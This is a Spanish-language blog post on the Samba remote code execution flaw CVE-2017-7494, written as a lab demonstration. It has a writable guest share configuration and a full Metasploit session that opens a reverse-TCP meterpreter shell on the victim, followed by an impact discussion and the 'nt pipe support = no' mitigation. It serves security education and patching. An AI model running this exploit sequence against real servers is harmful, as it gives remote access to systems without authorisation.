Vulnerabilidades: CVE-2017-7494 Samba 3.5.0 y superiores

Después de la gravísima vulnerabilidad de Windows MS17-010, de la cual ya hemos hablado un poco en esta entrada del blog, le llego la hora a SAMBA, el componente opensource que se usa para conectarse a recursos Windows, generalmente desde maquinas Linux.

La vulnerabilidad CVE-2017-7494 es del tipo RCE o Remote Code Execution, lo que indica que podemos explotarla remotamente. Pero para ello requerimos ciertas condiciones en nuestro ambiente para poder explotarla adecuadamente.

Preparando el ambiente

Lo primero que necesitamos es un servidor con SAMBA, en este caso vamos a utilizar una maquina Linux, también necesitamos que la versión de SAMBA sea igual o superior a la 3.5.0 y menor a la 4.6.4.
También vamos a requerir de un usuario con acceso en el sistema, que puede ser el usuario Guest, invitado o cualquiera que sea publico.

Entonces nuestro entorno va quedando así:

Atacando servidor SAMBA vulnerable
Atacando servidor SAMBA vulnerable

La maquina atacante a utilizar sera Kali Linux 2017.1, con todos sus paquetes debidamente actualizados.

En la maquina victima, la 192.168.1.137 vamos a crear un recurso compartido de la forma general, no requiere nada en particular

[mp3]              ;El nombre del recurso compartido, en este caso mp3, puede ser cualquiera
browseable = yes
path = /tmp
guest ok = yes
read only = no
create mask = 777

Finalmente en nuestra maquina atacante, la 192.168.1.111, necesitamos tener metasploit actualizado o simplemente instalar el modulo is_known_pipename.rb en nuestra maquina.

Con estos componente estamos listos para explotar la vulnerabilidad.

Explotando CVE-2017-7494

Pasamos a nuestra maquina con metasploit, y la sesión debe transcurrir mas o menos de la siguiente forma

msf > use exploits/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > set SMB_FOLDER hello
SMB_FOLDER => hello
msf exploit(is_known_pipename) > set RHOST 192.168.1.137
RHOST => 192.168.1.137
msf exploit(is_known_pipename) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(is_known_pipename) > set LHOST 192.168.1.111
LHOST => 192.168.1.111
msf exploit(is_known_pipename) > exploit

[*] Started reverse TCP handler on 192.168.1.111:4444 
[*] 192.168.1.137:445 - Using location \\192.168.1.137\mp3\ for the path
[*] 192.168.1.137:445 - Payload is stored in //192.168.1.137/mp3/ as clfsflDl.so
[*] 192.168.1.137:445 - Trying location /volume1/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume1/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume1/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume1/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume2/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume2/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume2/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume2/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume3/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume3/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /volume3/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /shared/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /shared/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /shared/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /shared/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/usb/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/usb/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/usb/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/usb/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /media/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /media/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /media/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /media/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/media/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/media/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/media/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /mnt/media/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /var/samba/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /var/samba/mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /var/samba/MP3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /var/samba/Mp3/clfsflDl.so...
[*] 192.168.1.137:445 - Trying location /tmp/clfsflDl.so...
[*] Sending stage (2849784 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.137:52002) at 2017-05-25 10:34:52 -0400

meterpreter > sysinfo
Computer     : 192.168.1.137
OS           : Kali kali-rolling (Linux 4.9.0-kali3-amd64)
Architecture : x64
Meterpreter  : x64/linux
meterpreter > 
meterpreter > getuid
Server username: uid=65534, gid=0, euid=65534, egid=65534

Como podemos ver tenemos un meterpreter listo, y vemos que la maquina victima es un Kali Linux 2016, esto nos demuestra que nuestra maquinas atacantes también pueden ser victimas :).

Impacto

Esta vulnerabilidad es muy grave, puede ser incluso mas grave que la MS17-010 de la que hemos hablado en estos días, ya que muchos appliance comerciales utilizan SAMBA para compartir archivos, y si bien las distribuciones de Linux como RedHat, Debian y Ubuntu ya han sacado las actualizaciones pertinentes, pasara un tiempo hasta que todos los appliance estén debidamente parchados, si es que el fabricante decide parchar la vulnerabilidad.

No puedo parchar, ‚¿que solución temporal puedo aplicar?

Hay soluciones temporales a este problema, la mas rápida es un cambio sencillo en nuestro archivo smb.conf

nt pipe support = no

Y por supuesto, debemos reiniciar el servicio de SAMBA, generalmente el comando es

/etc/init.d/smbd restart

Para terminar

Debemos recordar que existen muchos appliances que utilizan SAMBA internamente, todos estos appliances son vulnerables por lo que es recomendable acudir con el fabricante y solicitarle un parche para esta vulnerabilidad.
La seguridad es una tarea del día a día, por ello debemos estar atentos a los boletines de los fabricantes y no dejar que otro se haga cargo de nuestra seguridad.

Finalmente, veamos el asciinema del ataque a realizar para explotar la vulnerabilidad CVE-2017-7494

Y bueno, realmente es muy fácil aprovecharse de esta vulnerabilidad, por ello lo mejor es parchar cuanto antes 🙂

Saludos!

Deja tu comentario

%d bloggers like this: